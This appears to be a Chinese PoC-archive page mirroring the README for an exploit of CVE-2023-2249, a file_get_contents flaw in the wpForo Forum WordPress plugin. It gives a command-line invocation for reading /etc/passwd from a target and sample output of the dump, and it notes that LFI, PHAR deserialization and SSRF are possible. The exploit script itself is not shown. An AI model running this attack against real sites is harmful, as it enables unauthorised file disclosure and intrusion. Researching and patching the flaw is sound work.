关联漏洞
标题:WordPress Plugin wpForo Forum 安全漏洞 (CVE-2023-2249)Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress Plugin wpForo Forum 2.1.7 及之前版本存在安全漏洞，该漏洞源于file_get_contents 的使用不安全，没有对数据进行适当的验证，攻击者利用该漏洞可以执行反序列化攻击并实现远程代码执行。
Description
Exploit for CVE-2023-2249 in wpForo Forum plugin for WordPress
介绍
# Original Proof of Concept for CVE-2023-2249
- Proof of Concept for vulnerability CVE-2023-2249 in wpForo Forum plugin for WordPress
- POC Author : https://github.com/Ayantaker/
## Related Details
- NVD Link : https://nvd.nist.gov/vuln/detail/CVE-2023-2249
- Vulnerable versions : `version <= 2.1.7`
- Patched version : `2.1.8`
## Vulnerability Analysis
- [CVE-2023-2249: Wordpress Wpforo Plugin Root Cause Analysis](https://www.keysight.com/blogs/tech/nwvs/2023/07/05/cve-2023-2249)
## Usage
```bash
pip3 install requests rich bs4
python3 poc.py -i http://10.39.44.149 -p 8080 -u username -q password -f /etc/passwd
```
```
[*] Logging in
[+] Logged in
[+] Injecting payload
[+] Injected payload successfully
[+] Printing contents of /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
> Whatever payload is passed to -f is passed internally to `file_get_contents` method of PHP without sanitization, so this enables LFI, PHAR Deserialization, SSRF etc.
## Disclaimer
This Proof of Concept (POC) has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Author is not responsible or liable for any misuse of the POC. Use responsibly.
文件快照
[4.0K] /data/pocs/830bcc30f91084ad04d8f3e490c4a227efdde7d1
├── [3.7K] poc.py
└── [2.1K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。